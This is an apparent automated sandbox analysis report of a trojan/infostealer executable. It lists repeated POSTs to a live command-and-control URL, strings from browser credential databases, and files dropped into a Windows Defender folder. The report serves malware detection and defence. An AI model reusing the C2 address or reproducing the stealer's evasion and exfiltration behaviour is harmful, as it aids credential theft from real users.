Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 306577cm.nyashka.top

Source: unknown

HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://306577cm.nyP
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003480000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://306577cm.nyashka.top
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://306577cm.nyashka.top/
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003380000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003480000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://306577cm.nyashka.top/LowServerflowerwordpress.php
Source: Z90Z9bYzPa.exe, 00000000.00000002.1708405515.00000000039EA000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ntoVm3Cd7p.5.dr	String found in binary or memory: https://support.mozilla.org
Source: ntoVm3Cd7p.5.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: ntoVm3Cd7p.5.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr, 17foo90yeL.5.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr, 17foo90yeL.5.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17p
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ntoVm3Cd7p.5.dr	String found in binary or memory: https://www.mozilla.org
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: ntoVm3Cd7p.5.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: ntoVm3Cd7p.5.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 1vF7zbyWKW.5.dr, ntoVm3Cd7p.5.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ntoVm3Cd7p.5.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 1vF7zbyWKW.5.dr, ntoVm3Cd7p.5.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9B880D48	0_2_00007FFD9B880D48
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9B880E43	0_2_00007FFD9B880E43
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9BC77CAD	0_2_00007FFD9BC77CAD
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BAB0D48	5_2_00007FFD9BAB0D48
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BAB0E43	5_2_00007FFD9BAB0E43
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BEB3EE2	5_2_00007FFD9BEB3EE2
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BEB3136	5_2_00007FFD9BEB3136
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BEA7CAD	5_2_00007FFD9BEA7CAD
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BFDDC65	5_2_00007FFD9BFDDC65
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BFD45DB	5_2_00007FFD9BFD45DB
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BFD477C	5_2_00007FFD9BFD477C

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\FXwdgBOn.log AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97

Source: Z90Z9bYzPa.exe, 00000000.00000000.1668200859.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Z90Z9bYzPa.exe
Source: Z90Z9bYzPa.exe, 00000000.00000002.1707616504.0000000001556000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs Z90Z9bYzPa.exe
Source: Z90Z9bYzPa.exe, 00000000.00000002.1707616504.0000000001556000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Z90Z9bYzPa.exe
Source: Z90Z9bYzPa.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Z90Z9bYzPa.exe

Source: Z90Z9bYzPa.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Z90Z9bYzPa.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: UdtvoblhRrdVjJaLCN.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: dllhost.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: UdtvoblhRrdVjJaLCN.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SgrmBroker.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Z90Z9bYzPa.exe, CsiWujCHoQ3V4uxI7qP.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Z90Z9bYzPa.exe, CsiWujCHoQ3V4uxI7qP.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Z90Z9bYzPa.exe, CsiWujCHoQ3V4uxI7qP.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Z90Z9bYzPa.exe, CsiWujCHoQ3V4uxI7qP.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/335@1/1

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File created: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File created: C:\Users\user\Desktop\xzxenIoj.log

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-SdRiWVLSco7M2azqaPAP

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File created: C:\Users\user\AppData\Local\Temp\wHTtjGIXu1

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat"

Source: Z90Z9bYzPa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Z90Z9bYzPa.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: L8Y0wqL1qg.5.dr, s2TQSULuVM.5.dr, 8K8CeYQM3u.5.dr, FiklaO6rx5.5.dr, gt8zyZgI02.5.dr, qIpZF6viuK.5.dr, iw4kwp3Wv7.5.dr, ZHwDJbkt3a.5.dr, 8ccJuj6ZEZ.5.dr, 12AD1P3Onb.5.dr, 7tij0NCPzE.5.dr, IgcuxrmZsC.5.dr, zj7djRndqm.5.dr, rwYmV3cFwJ.5.dr, kKSrStOIEb.5.dr, mOfQuhNhLV.5.dr, Wmlh6unmNJ.5.dr, B8LjSa6RRu.5.dr, LFPpJx0nMv.5.dr, TYbY5xv7l5.5.dr, 7DEPsTBm8Q.5.dr, SPjhuJ5oWX.5.dr, JTG9CNUzPo.5.dr, jL6LvQLuTT.5.dr, UTdZ1Fa5D9.5.dr, 3xy7xM1s8b.5.dr, zAqxU8BUaZ.5.dr, q015t3euSd.5.dr, aQZbz0b6e2.5.dr, U5HlTpcVIX.5.dr, 7zY4Gg1KWu.5.dr, zXjovL2JSd.5.dr, gEtEe3157g.5.dr, 4D6T9631z0.5.dr, uwAok6GBmP.5.dr, G18b08Ldif.5.dr, xO4usmDXBF.5.dr, oiacrN7brS.5.dr, yiJU96x2J3.5.dr, sCEOnbNm5X.5.dr, gP2dVLwxIs.5.dr, 9je8tEHnWR.5.dr, zLhg0HATmj.5.dr, KZJi2CqunM.5.dr, ygxGOwttVN.5.dr, YtUIe1Y6BK.5.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Z90Z9bYzPa.exe	Virustotal: Detection: 55%
Source: Z90Z9bYzPa.exe	ReversingLabs: Detection: 71%

